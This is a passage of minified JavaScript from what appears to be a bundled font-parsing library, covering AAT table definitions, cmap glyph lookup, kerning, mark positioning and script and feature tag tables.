Un(&quot;format&quot;,{0:{deltas:new Ye(Ht,32)},1:{deltas:new Ye(Ht,32),mappingData:new Pm(Y)},2:{standardGlyph:Y,controlPoints:new Ye(Y,32)},3:{standardGlyph:Y,controlPoints:new Ye(Y,32),mappingData:new Pm(Y)}});var Oxe=new ct({version:Is,format:Y,defaultBaseline:Y,subtable:Fxe});let Lxe=new ct({setting:Y,nameIndex:Ht,name:e=&gt;e.parent.parent.parent.name.records.fontFeatures[e.nameIndex]}),Mxe=new ct({feature:Y,nSettings:Y,settingTable:new Je(et,new Ye(Lxe,&quot;nSettings&quot;),{type:&quot;parent&quot;}),featureFlags:new H0(lr,[null,null,null,null,null,null,&quot;hasDefault&quot;,&quot;exclusive&quot;]),defaultSetting:lr,nameIndex:Ht,name:e=&gt;e.parent.parent.name.records.fontFeatures[e.nameIndex]});var Uxe=new ct({version:Is,featureNameCount:Y,reserved1:new Ia(Y),reserved2:new Ia(et),featureNames:new Ye(Mxe,&quot;featureNameCount&quot;)});let zxe=new ct({axisTag:new Di(4),minValue:Is,defaultValue:Is,maxValue:Is,flags:Y,nameID:Y,name:e=&gt;e.parent.parent.name.records.fontFeatures[e.nameID]}),$xe=new ct({nameID:Y,name:e=&gt;e.parent.parent.name.records.fontFeatures[e.nameID],flags:Y,coord:new Ye(Is,e=&gt;e.parent.axisCount),postscriptNameID:new xw(Y,e=&gt;e.parent.instanceSize-e._currentOffset&gt;0)});var Hxe=new ct({version:Is,offsetToData:Y,countSizePairs:Y,axisCount:Y,axisSize:Y,instanceCount:Y,instanceSize:Y,axis:new Ye(zxe,&quot;axisCount&quot;),instance:new Ye($xe,&quot;instanceCount&quot;)});let qxe=new Fg(16,&quot;BE&quot;,14);class Gxe{static decode(t,r){return r.flags?t.readUInt32BE():t.readUInt16BE()*2}}let Vxe=new ct({version:Y,reserved:new Ia(Y),axisCount:Y,globalCoordCount:Y,globalCoords:new Je(et,new Ye(new Ye(qxe,&quot;axisCount&quot;),&quot;globalCoordCount&quot;)),glyphCount:Y,flags:Y,offsetToData:et,offsets:new Ye(new Je(Gxe,&quot;void&quot;,{relativeTo:e=&gt;e.offsetToData,allowNull:!1}),e=&gt;e.glyphCount+1)});var Wxe=Vxe;let Kxe=new ct({length:Y,coverage:Y,subFeatureFlags:et,stateTable:new Qxe}),Yxe=new ct({justClass:et,beforeGrowLimit:Is,beforeShrinkLimit:Is,afterGrowLimit:Is,afterShrinkLimit:Is,growFlags:Y,shrinkFlags:Y}),Zxe=new Ye(Yxe,et),Jxe=new Un(&quot;actionType&quot;,{0:{lowerLimit:Is,upperLimit:Is,order:Y,glyphs:new Ye(Y,Y)},1:{addGlyph:Y},2:{substThreshold:Is,addGlyph:Y,substGlyph:Y},3:{},4:{variationAxis:et,minimumLimit:Is,noStretchValue:Is,maximumLimit:Is},5:{flags:Y,glyph:Y}}),Xxe=new ct({actionClass:Y,actionType:Y,actionLength:et,actionData:Jxe,padding:new Ia(lr,e=&gt;e.actionLength-e._currentOffset)}),eve=new Ye(Xxe,et),tve=new ct({lookupTable:new Pm(new Je(Y,eve))}),BT=new ct({classTable:new Je(Y,Kxe,{type:&quot;parent&quot;}),wdcOffset:Y,postCompensationTable:new Je(Y,tve,{type:&quot;parent&quot;}),widthDeltaClusters:new Pm(new Je(Y,Zxe,{type:&quot;parent&quot;,relativeTo:e=&gt;e.wdcOffset}))});var rve=new ct({version:et,format:Y,horizontal:new Je(Y,BT),vertical:new Je(Y,BT)});let nve={action:Y},ive={markIndex:Y,currentIndex:Y},ave={currentInsertIndex:Y,markedInsertIndex:Y},sve=new ct({items:new Od(new Je(et,new Pm))}),ove=new Un(&quot;type&quot;,{0:{stateTable:new cb},1:{stateTable:new cb(ive),substitutionTable:new Je(et,sve)},2:{stateTable:new cb(nve),ligatureActions:new Je(et,new Od(et)),components:new Je(et,new Od(Y)),ligatureList:new Je(et,new Od(Y))},4:{lookupTable:new Pm},5:{stateTable:new cb(ave),insertionActions:new Je(et,new Od(Y))}}),lve=new ct({length:et,coverage:ym,type:lr,subFeatureFlags:et,table:ove,padding:new Ia(lr,e=&gt;e.length-e._currentOffset)}),cve=new ct({featureType:Y,featureSetting:Y,enableFlags:et,disableFlags:et}),uve=new ct({defaultFlags:et,chainLength:et,nFeatureEntries:et,nSubtables:et,features:new Ye(cve,&quot;nFeatureEntries&quot;),subtables:new Ye(lve,&quot;nSubtables&quot;)});var dve=new ct({version:Y,unused:new Ia(Y),nChains:et,chains:new Ye(uve,&quot;nChains&quot;)});let fve=new ct({left:Ht,top:Ht,right:Ht,bottom:Ht});var hve=new ct({version:Is,format:Y,lookupTable:new Pm(fve)});let jn={};var ww=jn;jn.cmap=fAe;jn.head=hAe;jn.hhea=mAe;jn.hmtx=gAe;jn.maxp=AAe;jn.name=CAe;jn[&quot;OS/2&quot;]=IAe;jn.post=jAe;jn.fpgm=SAe;jn.loca=BAe;jn.prep=kAe;jn[&quot;cvt &quot;]=NAe;jn.glyf=_Ae;jn[&quot;CFF &quot;]=$H;jn.CFF2=$H;jn.VORG=A1e;jn.EBLC=w1e;jn.CBLC=jn.EBLC;jn.sbix=C1e;jn.COLR=N1e;jn.CPAL=B1e;jn.BASE=F1e;jn.GDEF=$1e;jn.GPOS=exe;jn.GSUB=ixe;jn.JSTF=cxe;jn.HVAR=fxe;jn.DSIG=pxe;jn.gasp=Axe;jn.hdmx=vxe;jn.kern=wxe;jn.LTSH=Exe;jn.PCLT=Cxe;jn.VDMX=Sxe;jn.vhea=Bxe;jn.vmtx=_xe;jn.avar=Rxe;jn.bsln=Oxe;jn.feat=Uxe;jn.fvar=Hxe;jn.gvar=Wxe;jn.just=rve;jn.morx=dve;jn.opbd=hve;let mve=new ct({tag:new Di(4),checkSum:et,offset:new Je(et,&quot;void&quot;,{type:&quot;global&quot;}),length:et}),sB=new ct({tag:new Di(4),numTables:Y,searchRange:Y,entrySelector:Y,rangeShift:Y,tables:new Ye(mve,&quot;numTables&quot;)});sB.process=function(){let e={};for(let t of this.tables)e[t.tag]=t;this.tables=e};sB.preEncode=function(){if(!Array.isArray(this.tables)){let r=[];for(let n in this.tables){let i=this.tables[n];i&amp;&amp;r.push({tag:n,checkSum:0,offset:new wN(ww[n],i),length:ww[n].size(i)})}this.tables=r}this.tag=&quot;true&quot;,this.numTables=this.tables.length;let e=Math.floor(Math.log(this.numTables)/Math.LN2),t=Math.pow(2,e);this.searchRange=t*16,this.entrySelector=Math.log(t)/Math.LN2,this.rangeShift=this.numTables*16-this.searchRange};var VH=sB;function e5(e,t){let r=0,n=e.length-1;for(;r&lt;=n;){let i=r+n&gt;&gt;1,s=t(e[i]);if(s&lt;0)n=i-1;else if(s&gt;0)r=i+1;else return i}return-1}function RA(e,t){let r=[];for(;e&lt;t;)r.push(e++);return r}const Y4=new TextDecoder(&quot;ascii&quot;),kT=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;,Fx=new Uint8Array(256);for(let e=0;e&lt;kT.length;e++)Fx[kT.charCodeAt(e)]=e;function oB(e){let t=e.length*.75;e[e.length-1]===&quot;=&quot;&amp;&amp;(t--,e[e.length-2]===&quot;=&quot;&amp;&amp;t--);let r=new Uint8Array(t),n=0;for(let i=0,s=e.length;i&lt;s;i+=4){let o=Fx[e.charCodeAt(i)],l=Fx[e.charCodeAt(i+1)],c=Fx[e.charCodeAt(i+2)],d=Fx[e.charCodeAt(i+3)];r[n++]=o&lt;&lt;2|l&gt;&gt;4,r[n++]=(l&amp;15)&lt;&lt;4|c&gt;&gt;2,r[n++]=(c&amp;3)&lt;&lt;6|d&amp;63}return r}class lB{findSubtable(t,r){for(let[n,i]of r)for(let s of t.tables)if(s.platformID===n&amp;&amp;s.encodingID===i)return s.table;return null}lookup(t,r){if(this.encoding)t=this.encoding.get(t)||t;else if(r){let i=this.getVariationSelector(t,r);if(i)return i}let n=this.cmap;switch(n.version){case 0:return n.codeMap.get(t)||0;case 4:{let i=0,s=n.segCount-1;for(;i&lt;=s;){let o=i+s&gt;&gt;1;if(t&lt;n.startCode.get(o))s=o-1;else if(t&gt;n.endCode.get(o))i=o+1;else{let l=n.idRangeOffset.get(o),c;if(l===0)c=t+n.idDelta.get(o);else{let d=l/2+(t-n.startCode.get(o))-(n.segCount-o);c=n.glyphIndexArray.get(d)||0,c!==0&amp;&amp;(c+=n.idDelta.get(o))}return c&amp;65535}}return 0}case 8:throw new Error(&quot;TODO: cmap format 8&quot;);case 6:case 10:return n.glyphIndices.get(t-n.firstCode)||0;case 12:case 13:{let i=0,s=n.nGroups-1;for(;i&lt;=s;){let o=i+s&gt;&gt;1,l=n.groups.get(o);if(t&lt;l.startCharCode)s=o-1;else if(t&gt;l.endCharCode)i=o+1;else return n.version===12?l.glyphID+(t-l.startCharCode):l.glyphID}return 0}case 14:throw new Error(&quot;TODO: cmap format 14&quot;);default:throw new Error(`Unknown cmap format ${n.version}`)}}getVariationSelector(t,r){if(!this.uvs)return 0;let n=this.uvs.varSelectors.toArray(),i=e5(n,o=&gt;r-o.varSelector),s=n[i];return i!==-1&amp;&amp;s.defaultUVS&amp;&amp;(i=e5(s.defaultUVS,o=&gt;t&lt;o.startUnicodeValue?-1:t&gt;o.startUnicodeValue+o.additionalCount?1:0)),i!==-1&amp;&amp;s.nonDefaultUVS&amp;&amp;(i=e5(s.nonDefaultUVS,o=&gt;t-o.unicodeValue),i!==-1)?s.nonDefaultUVS[i].glyphID:0}getCharacterSet(){let t=this.cmap;switch(t.version){case 0:return RA(0,t.codeMap.length);case 4:{let r=[],n=t.endCode.toArray();for(let i=0;i&lt;n.length;i++){let s=n[i]+1,o=t.startCode.get(i);r.push(...RA(o,s))}return r}case 8:throw new Error(&quot;TODO: cmap format 8&quot;);case 6:case 10:return RA(t.firstCode,t.firstCode+t.glyphIndices.length);case 12:case 13:{let r=[];for(let n of t.groups.toArray())r.push(...RA(n.startCharCode,n.endCharCode+1));return r}case 14:throw new Error(&quot;TODO: cmap format 14&quot;);default:throw new Error(`Unknown cmap format ${t.version}`)}}codePointsForGlyph(t){let r=this.cmap;switch(r.version){case 0:{let i=[];for(let s=0;s&lt;256;s++)r.codeMap.get(s)===t&amp;&amp;i.push(s);return i}case 4:{let i=[];for(let s=0;s&lt;r.segCount;s++){let o=r.endCode.get(s),l=r.startCode.get(s),c=r.idRangeOffset.get(s),d=r.idDelta.get(s);for(var n=l;n&lt;=o;n++){let u=0;if(c===0)u=n+d;else{let h=c/2+(n-l)-(r.segCount-s);u=r.glyphIndexArray.get(h)||0,u!==0&amp;&amp;(u+=d)}u===t&amp;&amp;i.push(n)}}return i}case 12:{let i=[];for(let s of r.groups.toArray())t&gt;=s.glyphID&amp;&amp;t&lt;=s.glyphID+(s.endCharCode-s.startCharCode)&amp;&amp;i.push(s.startCharCode+(t-s.glyphID));return i}case 13:{let i=[];for(let s of r.groups.toArray())t===s.glyphID&amp;&amp;i.push(...RA(s.startCharCode,s.endCharCode+1));return i}default:throw new Error(`Unknown cmap format ${r.version}`)}}constructor(t){if(this.encoding=null,this.cmap=this.findSubtable(t,[[3,10],[0,6],[0,4],[3,1],[0,3],[0,2],[0,1],[0,0]]),!this.cmap)for(let r of t.tables){let n=jH(r.platformID,r.encodingID,r.table.language-1),i=yAe(n);i&amp;&amp;(this.cmap=r.table,this.encoding=i)}if(!this.cmap)throw new Error(&quot;Could not find a supported cmap table&quot;);this.uvs=this.findSubtable(t,[[0,5]]),this.uvs&amp;&amp;this.uvs.version!==14&amp;&amp;(this.uvs=null)}}fl([hl],lB.prototype,&quot;getCharacterSet&quot;,null);fl([hl],lB.prototype,&quot;codePointsForGlyph&quot;,null);class pve{process(t,r){for(let n=0;n&lt;t.length-1;n++){let i=t[n].id,s=t[n+1].id;r[n].xAdvance+=this.getKerning(i,s)}}getKerning(t,r){let n=0;for(let i of this.kern.tables){if(i.coverage.crossStream)continue;switch(i.version){case 0:if(!i.coverage.horizontal)continue;break;case 1:if(i.coverage.vertical||i.coverage.variation)continue;break;default:throw new Error(`Unsupported kerning table version ${i.version}`)}let s=0,o=i.subtable;switch(i.format){case 0:let l=e5(o.pairs,function(h){return t-h.left||r-h.right});l&gt;=0&amp;&amp;(s=o.pairs[l].value);break;case 2:let c=0,d=0;t&gt;=o.leftTable.firstGlyph&amp;&amp;t&lt;o.leftTable.firstGlyph+o.leftTable.nGlyphs?c=o.leftTable.offsets[t-o.leftTable.firstGlyph]:c=o.array.off,r&gt;=o.rightTable.firstGlyph&amp;&amp;r&lt;o.rightTable.firstGlyph+o.rightTable.nGlyphs&amp;&amp;(d=o.rightTable.offsets[r-o.rightTable.firstGlyph]);let u=(c+d-o.array.off)/2;s=o.array.values.get(u);break;case 3:if(t&gt;=o.glyphCount||r&gt;=o.glyphCount)return 0;s=o.kernValue[o.kernIndex[o.leftClass[t]*o.rightClassCount+o.rightClass[r]]];break;default:throw new Error(`Unsupported kerning sub-table format ${i.format}`)}i.coverage.override?n=s:n+=s}return n}constructor(t){this.kern=t.kern}}class gve{positionGlyphs(t,r){let n=0,i=0;for(let s=0;s&lt;t.length;s++)t[s].isMark?i=s:(n!==i&amp;&amp;this.positionCluster(t,r,n,i),n=i=s);return n!==i&amp;&amp;this.positionCluster(t,r,n,i),r}positionCluster(t,r,n,i){let s=t[n],o=s.cbox.copy();s.codePoints.length&gt;1&amp;&amp;(o.minX+=(s.codePoints.length-1)*o.width/s.codePoints.length);let l=-r[n].xAdvance,c=0,d=this.font.unitsPerEm/16;for(let u=n+1;u&lt;=i;u++){let h=t[u],p=h.cbox,A=r[u],y=this.getCombiningClass(h.codePoints[0]);if(y!==&quot;Not_Reordered&quot;){switch(A.xOffset=A.yOffset=0,y){case&quot;Double_Above&quot;:case&quot;Double_Below&quot;:A.xOffset+=o.minX-p.width/2-p.minX;break;case&quot;Attached_Below_Left&quot;:case&quot;Below_Left&quot;:case&quot;Above_Left&quot;:A.xOffset+=o.minX-p.minX;break;case&quot;Attached_Above_Right&quot;:case&quot;Below_Right&quot;:case&quot;Above_Right&quot;:A.xOffset+=o.maxX-p.width-p.minX;break;default:A.xOffset+=o.minX+(o.width-p.width)/2-p.minX}switch(y){case&quot;Double_Below&quot;:case&quot;Below_Left&quot;:case&quot;Below&quot;:case&quot;Below_Right&quot;:case&quot;Attached_Below_Left&quot;:case&quot;Attached_Below&quot;:(y===&quot;Attached_Below_Left&quot;||y===&quot;Attached_Below&quot;)&amp;&amp;(o.minY+=d),A.yOffset=-o.minY-p.maxY,o.minY+=p.height;break;case&quot;Double_Above&quot;:case&quot;Above_Left&quot;:case&quot;Above&quot;:case&quot;Above_Right&quot;:case&quot;Attached_Above&quot;:case&quot;Attached_Above_Right&quot;:(y===&quot;Attached_Above&quot;||y===&quot;Attached_Above_Right&quot;)&amp;&amp;(o.maxY+=d),A.yOffset=o.maxY-p.minY,o.maxY+=p.height;break}A.xAdvance=A.yAdvance=0,A.xOffset+=l,A.yOffset+=c}else l-=A.xAdvance,c-=A.yAdvance}}getCombiningClass(t){let r=wH(t);if((t&amp;-256)===3584){if(r===&quot;Not_Reordered&quot;)switch(t){case 3633:case 3636:case 3637:case 3638:case 3639:case 3655:case 3660:case 3645:case 3662:return&quot;Above_Right&quot;;case 3761:case 3764:case 3765:case 3766:case 3767:case 3771:case 3788:case 3789:return&quot;Above&quot;;case 3772:return&quot;Below&quot;}else if(t===3642)return&quot;Below_Right&quot;}switch(r){case&quot;CCC10&quot;:case&quot;CCC11&quot;:case&quot;CCC12&quot;:case&quot;CCC13&quot;:case&quot;CCC14&quot;:case&quot;CCC15&quot;:case&quot;CCC16&quot;:case&quot;CCC17&quot;:case&quot;CCC18&quot;:case&quot;CCC20&quot;:case&quot;CCC22&quot;:return&quot;Below&quot;;case&quot;CCC23&quot;:return&quot;Attached_Above&quot;;case&quot;CCC24&quot;:return&quot;Above_Right&quot;;case&quot;CCC25&quot;:case&quot;CCC19&quot;:return&quot;Above_Left&quot;;case&quot;CCC26&quot;:return&quot;Above&quot;;case&quot;CCC21&quot;:break;case&quot;CCC27&quot;:case&quot;CCC28&quot;:case&quot;CCC30&quot;:case&quot;CCC31&quot;:case&quot;CCC33&quot;:case&quot;CCC34&quot;:case&quot;CCC35&quot;:case&quot;CCC36&quot;:return&quot;Above&quot;;case&quot;CCC29&quot;:case&quot;CCC32&quot;:return&quot;Below&quot;;case&quot;CCC103&quot;:return&quot;Below_Right&quot;;case&quot;CCC107&quot;:return&quot;Above_Right&quot;;case&quot;CCC118&quot;:return&quot;Below&quot;;case&quot;CCC122&quot;:return&quot;Above&quot;;case&quot;CCC129&quot;:case&quot;CCC132&quot;:return&quot;Below&quot;;case&quot;CCC130&quot;:return&quot;Above&quot;}return r}constructor(t){this.font=t}}class Qm{get width(){return this.maxX-this.minX}get height(){return this.maxY-this.minY}addPoint(t,r){Math.abs(t)!==1/0&amp;&amp;(t&lt;this.minX&amp;&amp;(this.minX=t),t&gt;this.maxX&amp;&amp;(this.maxX=t)),Math.abs(r)!==1/0&amp;&amp;(r&lt;this.minY&amp;&amp;(this.minY=r),r&gt;this.maxY&amp;&amp;(this.maxY=r))}copy(){return new Qm(this.minX,this.minY,this.maxX,this.maxY)}constructor(t=1/0,r=1/0,n=-1/0,i=-1/0){this.minX=t,this.minY=r,this.maxX=n,this.maxY=i}}const g1={Caucasian_Albanian:&quot;aghb&quot;,Arabic:&quot;arab&quot;,Imperial_Aramaic:&quot;armi&quot;,Armenian:&quot;armn&quot;,Avestan:&quot;avst&quot;,Balinese:&quot;bali&quot;,Bamum:&quot;bamu&quot;,Bassa_Vah:&quot;bass&quot;,Batak:&quot;batk&quot;,Bengali:[&quot;bng2&quot;,&quot;beng&quot;],Bopomofo:&quot;bopo&quot;,Brahmi:&quot;brah&quot;,Braille:&quot;brai&quot;,Buginese:&quot;bugi&quot;,Buhid:&quot;buhd&quot;,Chakma:&quot;cakm&quot;,Canadian_Aboriginal:&quot;cans&quot;,Carian:&quot;cari&quot;,Cham:&quot;cham&quot;,Cherokee:&quot;cher&quot;,Coptic:&quot;copt&quot;,Cypriot:&quot;cprt&quot;,Cyrillic:&quot;cyrl&quot;,Devanagari:[&quot;dev2&quot;,&quot;deva&quot;],Deseret:&quot;dsrt&quot;,Duployan:&quot;dupl&quot;,Egyptian_Hieroglyphs:&quot;egyp&quot;,Elbasan:&quot;elba&quot;,Ethiopic:&quot;ethi&quot;,Georgian:&quot;geor&quot;,Glagolitic:&quot;glag&quot;,Gothic:&quot;goth&quot;,Grantha:&quot;gran&quot;,Greek:&quot;grek&quot;,Gujarati:[&quot;gjr2&quot;,&quot;gujr&quot;],Gurmukhi:[&quot;gur2&quot;,&quot;guru&quot;],Hangul:&quot;hang&quot;,Han:&quot;hani&quot;,Hanunoo:&quot;hano&quot;,Hebrew:&quot;hebr&quot;,Hiragana:&quot;hira&quot;,Pahawh_Hmong:&quot;hmng&quot;,Katakana_Or_Hiragana:&quot;hrkt&quot;,Old_Italic:&quot;ital&quot;,Javanese:&quot;java&quot;,Kayah_Li:&quot;kali&quot;,Katakana:&quot;kana&quot;,Kharoshthi:&quot;khar&quot;,Khmer:&quot;khmr&quot;,Khojki:&quot;khoj&quot;,Kannada:[&quot;knd2&quot;,&quot;knda&quot;],Kaithi:&quot;kthi&quot;,Tai_Tham:&quot;lana&quot;,Lao:&quot;lao &quot;,Latin:&quot;latn&quot;,Lepcha:&quot;lepc&quot;,Limbu:&quot;limb&quot;,Linear_A:&quot;lina&quot;,Linear_B:&quot;linb&quot;,Lisu:&quot;lisu&quot;,Lycian:&quot;lyci&quot;,Lydian:&quot;lydi&quot;,Mahajani:&quot;mahj&quot;,Mandaic:&quot;mand&quot;,Manichaean:&quot;mani&quot;,Mende_Kikakui:&quot;mend&quot;,Meroitic_Cursive:&quot;merc&quot;,Meroitic_Hieroglyphs:&quot;mero&quot;,Malayalam:[&quot;mlm2&quot;,&quot;mlym&quot;],Modi:&quot;modi&quot;,Mongolian:&quot;mong&quot;,Mro:&quot;mroo&quot;,Meetei_Mayek:&quot;mtei&quot;,Myanmar:[&quot;mym2&quot;,&quot;mymr&quot;],Old_North_Arabian:&quot;narb&quot;,Nabataean:&quot;nbat&quot;,Nko:&quot;nko &quot;,Ogham:&quot;ogam&quot;,Ol_Chiki:&quot;olck&quot;,Old_Turkic:&quot;orkh&quot;,Oriya:[&quot;ory2&quot;,&quot;orya&quot;],Osmanya:&quot;osma&quot;,Palmyrene:&quot;palm&quot;,Pau_Cin_Hau:&quot;pauc&quot;,Old_Permic:&quot;perm&quot;,Phags_Pa:&quot;phag&quot;,Inscriptional_Pahlavi:&quot;phli&quot;,Psalter_Pahlavi:&quot;phlp&quot;,Phoenician:&quot;phnx&quot;,Miao:&quot;plrd&quot;,Inscriptional_Parthian:&quot;prti&quot;,Rejang:&quot;rjng&quot;,Runic:&quot;runr&quot;,Samaritan:&quot;samr&quot;,Old_South_Arabian:&quot;sarb&quot;,Saurashtra:&quot;saur&quot;,Shavian:&quot;shaw&quot;,Sharada:&quot;shrd&quot;,Siddham:&quot;sidd&quot;,Khudawadi:&quot;sind&quot;,Sinhala:&quot;sinh&quot;,Sora_Sompeng:&quot;sora&quot;,Sundanese:&quot;sund&quot;,Syloti_Nagri:&quot;sylo&quot;,Syriac:&quot;syrc&quot;,Tagbanwa:&quot;tagb&quot;,Takri:&quot;takr&quot;,Tai_Le:&quot;tale&quot;,New_Tai_Lue:&quot;talu&quot;,Tamil:[&quot;tml2&quot;,&quot;taml&quot;],Tai_Viet:&quot;tavt&quot;,Telugu:[&quot;tel2&quot;,&quot;telu&quot;],Tifinagh:&quot;tfng&quot;,Tagalog:&quot;tglg&quot;,Thaana:&quot;thaa&quot;,Thai:&quot;thai&quot;,Tibetan:&quot;tibt&quot;,Tirhuta:&quot;tirh&quot;,Ugaritic:&quot;ugar&quot;,Vai:&quot;vai &quot;,Warang_Citi:&quot;wara&quot;,Old_Persian:&quot;xpeo&quot;,Cuneiform:&quot;xsux&quot;,Yi:&quot;yi  &quot;,Inherited:&quot;zinh&quot;,Common:&quot;zyyy&quot;,Unknown:&quot;zzzz&quot;},SN={};for(let e in g1){let t=g1[e];if(Array.isArray(t))for(let r of t)SN[r]=e;else SN[t]=e}function Ave(e){return SN[e]}function xve(e){let t=e.length,r=0;for(;r&lt;t;){let n=e.charCodeAt(r++);if(55296&lt;=n&amp;&amp;n&lt;=56319&amp;&amp;r&lt;t){let s=e.charCodeAt(r);56320&lt;=s&amp;&amp;s&lt;=57343&amp;&amp;(r++,n=((n&amp;1023)&lt;&lt;10)+(s&amp;1023)+65536)}let i=rB(n);if(i!==&quot;Common&quot;&amp;&amp;i!==&quot;Inherited&quot;&amp;&amp;i!==&quot;Unknown&quot;)return g1[i]}return g1.Unknown}function vve(e){for(let t=0;t&lt;e.length;t++){let r=e[t],n=rB(r);if(n!==&quot;Common&quot;&amp;&amp;n!==&quot;Inherited&quot;&amp;&amp;n!==&quot;Unknown&quot;)return g1[n]}return g1.Unknown}const yve={arab:!0,hebr:!0,syrc:!0,thaa:!0,cprt:!0,khar:!0,phnx:!0,&quot;nko &quot;:!0,lydi:!0,avst:!0,armi:!0,phli:!0,prti:!0,sarb:!0,orkh:!0,samr:!0,mand:!0,merc:!0,mero:!0,mani:!0,mend:!0,nbat:!0,narb:!0,palm:!0,phlp:!0};function WH(e){return yve[e]?&quot;rtl&quot;:&quot;ltr&quot;}class bve{get advanceWidth(){let t=0;for(let r of this.positions)t+=r.xAdvance;return t}get advanceHeight(){let t=0;for(let r of this.positions)t+=r.yAdvance;return t}get bbox(){let t=new Qm,r=0,n=0;for(let i=0;i&lt;this.glyphs.length;i++){let s=this.glyphs[i],o=this.positions[i],l=s.bbox;t.addPoint(l.minX+r+o.xOffset,l.minY+n+o.yOffset),t.addPoint(l.maxX+r+o.xOffset,l.maxY+n+o.yOffset),r+=o.xAdvance,n+=o.yAdvance}return t}constructor(t,r,n,i,s){if(this.glyphs=t,this.positions=null,this.script=n,this.language=i||null,this.direction=s||WH(n),this.features={},Array.isArray(r))for(let o of r)this.features[o]=!0;else typeof r==&quot;object&quot;&amp;&amp;(this.features=r)}}class wve{constructor(t=0,r=0,n=0,i=0){this.xAdvance=t,this.yAdvance=r,this.xOffset=n,this.yOffset=i}}const Vp={allTypographicFeatures:{code:0,exclusive:!1,allTypeFeatures:0},ligatures:{code:1,exclusive:!1,requiredLigatures:0,commonLigatures:2,rareLigatures:4,rebusPictures:8,diphthongLigatures:10,squaredLigatures:12,abbrevSquaredLigatures:14,symbolLigatures:16,contextualLigatures:18,historicalLigatures:20},cursiveConnection:{code:2,exclusive:!0,unconnected:0,partiallyConnected:1,cursive:2},letterCase:{code:3,exclusive:!0},verticalSubstitution:{code:4,exclusive:!1,substituteVerticalForms:0},linguisticRearrangement:{code:5,exclusive:!1,linguisticRearrangement:0},numberSpacing:{code:6,exclusive:!0,monospacedNumbers:0,proportionalNumbers:1,thirdWidthNumbers:2,quarterWidthNumbers:3},smartSwash:{code:8,exclusive:!1,wordInitialSwashes:0,wordFinalSwashes:2,nonFinalSwashes:8},diacritics:{code:9,exclusive:!0,showDiacritics:0,hideDiacritics:1,decomposeDiacritics:2},verticalPosition:{code:10,exclusive:!0,normalPosition:0,superiors:1,inferiors:2,ordinals:3,scientificInferiors:4},fractions:{code:11,exclusive:!0,noFractions:0,verticalFractions:1,diagonalFractions:2},overlappingCharacters:{code:13,exclusive:!1,preventOverlap:0},typographicExtras:{code:14,exclusive:!1,slashedZero:4},mathematicalExtras:{code:15,exclusive:!1,mathematicalGreek:10},ornamentSets:{code:16,exclusive:!0,noOrnaments:0,dingbats:1,piCharacters:2,fleurons:3,decorativeBorders:4,internationalSymbols:5,mathSymbols:6},characterAlternatives:{code:17,exclusive:!0,noAlternates:0},designComplexity:{code:18,exclusive:!0,designLevel1:0,designLevel2:1,designLevel3:2,designLevel4:3,designLevel5:4},styleOptions:{code:19,exclusive:!0,noStyleOptions:0,displayText:1,engravedText:2,illuminatedCaps:3,titlingCaps:4,tallCaps:5},characterShape:{code:20,exclusive:!0,traditionalCharacters:0,simplifiedCharacters:1,JIS1978Characters:2,JIS1983Characters:3,JIS1990Characters:4,traditionalAltOne:5,traditionalAltTwo:6,traditionalAltThree:7,traditionalAltFour:8,traditionalAltFive:9,expertCharacters:10,JIS2004Characters:11,hojoCharacters:12,NLCCharacters:13,traditionalNamesCharacters:14},numberCase:{code:21,exclusive:!0,lowerCaseNumbers:0,upperCaseNumbers:1},textSpacing:{code:22,exclusive:!0,proportionalText:0,monospacedText:1,halfWidthText:2,thirdWidthText:3,quarterWidthText:4,altProportionalText:5,altHalfWidthText:6},transliteration:{code:23,exclusive:!0,noTransliteration:0},annotation:{code:24,exclusive:!0,noAnnotation:0,boxAnnotation:1,roundedBoxAnnotation:2,circleAnnotation:3,invertedCircleAnnotation:4,parenthesisAnnotation:5,periodAnnotation:6,romanNumeralAnnotation:7,diamondAnnotation:8,invertedBoxAnnotation:9,invertedRoundedBoxAnnotation:10},kanaSpacing:{code:25,exclusive:!0,fullWidthKana:0,proportionalKana:1},ideographicSpacing:{code:26,exclusive:!0,fullWidthIdeographs:0,proportionalIdeographs:1,halfWidthIdeographs:2},unicodeDecomposition:{code:27,exclusive:!1,canonicalComposition:0,compatibilityComposition:2,transcodingComposition:4},rubyKana:{code:28,exclusive:!1,rubyKana:2},CJKSymbolAlternatives:{code:29,exclusive:!0,noCJKSymbolAlternatives:0,CJKSymbolAltOne:1,CJKSymbolAltTwo:2,CJKSymbolAltThree:3,CJKSymbolAltFour:4,CJKSymbolAltFive:5},ideographicAlternatives:{code:30,exclusive:!0,noIdeographicAlternatives:0,ideographicAltOne:1,ideographicAltTwo:2,ideographicAltThree:3,ideographicAltFour:4,ideographicAltFive:5},CJKVerticalRomanPlacement:{code:31,exclusive:!0,CJKVerticalRomanCentered:0,CJKVerticalRomanHBaseline:1},italicCJKRoman:{code:32,exclusive:!1,CJKItalicRoman:2},caseSensitiveLayout:{code:33,exclusive:!1,caseSensitiveLayout:0,caseSensitiveSpacing:2},alternateKana:{code:34,exclusive:!1,alternateHorizKana:0,alternateVertKana:2},stylisticAlternatives:{code:35,exclusive:!1,noStylisticAlternates:0,stylisticAltOne:2,stylisticAltTwo:4,stylisticAltThree:6,stylisticAltFour:8,stylisticAltFive:10,stylisticAltSix:12,stylisticAltSeven:14,stylisticAltEight:16,stylisticAltNine:18,stylisticAltTen:20,stylisticAltEleven:22,stylisticAltTwelve:24,stylisticAltThirteen:26,stylisticAltFourteen:28,stylisticAltFifteen:30,stylisticAltSixteen:32,stylisticAltSeventeen:34,stylisticAltEighteen:36,stylisticAltNineteen:38,stylisticAltTwenty:40},contextualAlternates:{code:36,exclusive:!1,contextualAlternates:0,swashAlternates:2,contextualSwashAlternates:4},lowerCase:{code:37,exclusive:!0,defaultLowerCase:0,lowerCaseSmallCaps:1,lowerCasePetiteCaps:2},upperCase:{code:38,exclusive:!0,defaultUpperCase:0,upperCaseSmallCaps:1,upperCasePetiteCaps:2},languageTag:{code:39,exclusive:!0},CJKRomanSpacing:{code:103,exclusive:!0,halfWidthCJKRoman:0,proportionalCJKRoman:1,defaultCJKRoman:2,fullWidthCJKRoman:3}},Ar=(e,t)=&gt;[Vp[e].code,Vp[e][t]],Ew={rlig:Ar(&quot;ligatures&quot;,&quot;requiredLigatures&quot;),clig:Ar(&quot;ligatures&quot;,&quot;contextualLigatures&quot;),dlig:Ar(&quot;ligatures&quot;,&quot;rareLigatures&quot;),hlig:Ar(&quot;ligatures&quot;,&quot;historicalLigatures&quot;),liga:Ar(&quot;ligatures&quot;,&quot;commonLigatures&quot;),hist:A